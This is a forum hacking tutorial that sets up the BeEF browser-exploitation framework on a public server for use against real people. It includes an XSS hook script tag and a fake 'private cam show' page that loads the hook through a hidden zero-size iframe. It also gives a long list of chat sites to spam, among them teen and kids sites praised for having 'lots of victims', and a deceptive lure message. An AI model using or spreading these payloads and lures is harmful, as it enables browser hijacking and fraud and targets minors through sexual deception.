Haven't seen a tutorial for setting this up outside of LAN so here you go.
If you don't already know what BeEF is, click
here
Setting up BeEF
1. Go to applications>backtrack>Exploitation Tools>Social Engineering Tools> BEEF XSS Framework>BeEF Installer and wait till it has finished installing.
2. Head over to your filesystem and go to pentest>web>beef>config.yaml
3. Change the default username and password login
Code
# Credentials to authenticate in BeEF. Used by both the RESTful API and the Admin_UI extension
credentials:
user: "beef"
passwd: "beef"
Then edit
Code
http:
debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
host: "127.0.0.1"
port: "3000"
# if running behind a nat set the public ip address here
#public: ""
#public_port: "" # port setting is experimental
dns: "localhost"
panel_path: "/ui/panel"
hook_file: "/hook.js"
hook_session_name: "BEEFHOOK"
session_cookie_name: "BEEFSESSION"
and change the
port to 80,
public to your IP address and
public port to 80. This makes sure your server isn't just running on LAN.
4. Starting up BeEF
Go to applications>backtrack>Exploitation Tools>Social Engineering Tools> BEEF XSS Framework>BeEF and wait till it starts up.
Head over to http://yourip/ui/panel in your browser and login with the username and password you set.
BeEF is now setup!
You can inject your hook into XSS vulnerable websites using
Code
<script src="http://yourip/hook.js"></script>
E-whoring tips (completely optional)
1. Setup a SPAM account with a domain like privatecamshows.netai.com
2. Upload an index.html with something like this
Code
<html><head><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<link REL="SHORTCUT ICON" HREF="http://tabstart.com/system/icons/696/original/favicon.ico">
<title>MyWebby</title>
<style>
body {
margin: 0;
padding: 20px;
background: #efefef;
color: #333;
}
#wrapper {
margin: 20px auto 20px auto;
width: 600px;
background: #fff;
padding: 40px;
border: 1px solid #fff;
border-radius: 10px;
-moz-border-radius: 10px;
-webkit-border-radius: 10px;
box-shadow: 0 0 2px #999;
-webkit-box-shadow: 0 0 3px #999;
}
body, th, td, input {
font: 13px/17px "Lucida Grande", "Lucida Sans Unicode", Arial, Verdana, sans-serif;
}
.warning {
background: #fffedf;
padding: 8px;
border: 1px dashed #ccc;
border-radius: 4px;
-moz-border-radius: 4px;
-webkit-border-radius: 4px;
font-size: 90%;
}
</style>
</head>
<body>
<div id="wrapper">
<h1 align="center"></h1>
<p align="center" class="warning">Welcome to MyWebby Webchat</p>
<center><img src="https://i.imgur.com/zjTubt1.gif"></center>
<form name="form1" method="post" action="">
<p align="center">Show will begin in a couple of minutes!</p>
<label for="textarea"></label>
<div align="center">
</div>
</form>
</div>
</body></html>
<style type=text/css>
body {
background-color: #00000;
}
#box {
border: 0px double black;
font-family: Verdana;
margin-right:160px;
margin-left:160px;
background-color: #00000;
}
</style>
<iframe src="http://xx.xx.xx.xx/demos/basic.html" width="0" height="0" frameborder="0"></iframe>
<center><div class="copyright">Content and Graphics Copyright © 20011 - 2013 MyWebby - all rights reserved</div></center>
3. Edit index.html and replace yourip
Code
http://yourip/demos/basic.html
with your own IP address
4. Go to any chat sites
Code
http://www.cam4.com/
teenchat.com - good few victims
omegle.com
chatroullete.com
http://www.chat-avenue.com/
kidschat.net - lots of victims
adultchat.com -lots of traffic best to spread
http://321teenchat.com/
http://www.motherless.com
http://www.javachatrooms.net/
http://www.Craigslist.com
http://www.skyrock.com/
http://www.chat-avenue.com/
http://www.omegle.com
http://Chatroulette.com
http://www.pof.com/
http://www.midnightchatcity.com/sex/
http://www.talkcity.com/
http://camvoice.com/
http://www.adultchat.net/
http://www.upforit.com/
http://www.freechatnow.com/
http://www.321adultchat.com/
http://www.xschat.com/
http://www.advancedchat.com/preteen/
http://www.teenchatstorm.com/
http://www.chatround.com/chat.php
http://www.chat-place.org/chat.htm
http://www.javachatrooms.com/chatrooms/index.html
http://www.javateenchatroom.com/chatrooms.html
http://www.chatopen.com/
http://www.freejavachat.com/chat.php
http://www.chat-connection.com/teens/
http://www.chathour.com/chatroom/dirty_chat_for_teens
http://www.freedirtychat.net/
http://www.bigchatrooms.com/
http://www.cupid.com/dirty-chat-online.html
http://www.chatroomss.com/dirty-chat.html
http://www.teenchat.com/
http://www.teen-chat.org/
http://www.teenagechatrooms.com/
http://www.teenchatnow.net/
http://www.teenchatworld.com/
http://www.teenssite.co.uk/
http://www.teenchatcenter.com/
http://www.ultimate-chatzone.com/teenschat.html
http://www.teenchat.co/
http://www.teenchat.uk.com/
http://www.teen-chat-rooms.net/
http://www.teenspot.com/chat/
http://www.teensay.com/chat/
http://www.knuddels.de/
http://www.teenchatplace.com/
http://www.babblesex.com/
http://www.321adultchat.com/
http://www.chat-connection.com/adults/adult1.html
http://www.adultchatadultchat.com/
http://www.adultchatpad.com/
http://www.chatix.co.uk/
http://www.adult-chat-world.com/
http://www.weirdtown.com/chat/adult.jsp
http://www.chat-buddy.com/
http://www.teenspot.com/
http://www.chatzppl.com/
(found that list from another e-whoring tutorial)
Say stuff in the chat like "6 spots left on my private cam show that is FREE :* pm if interested"
After sending once you could get 10 messages from people, just tell them to visit your SPAM site and say that you'll be on in a couple of minutes. Meanwhile you're at work on BeEF.
There's so much you can do with BeEF so get experimental 🤝
Hope you liked my second tutorial here on HF, any problems or questions drop a comment down below.
Thank you.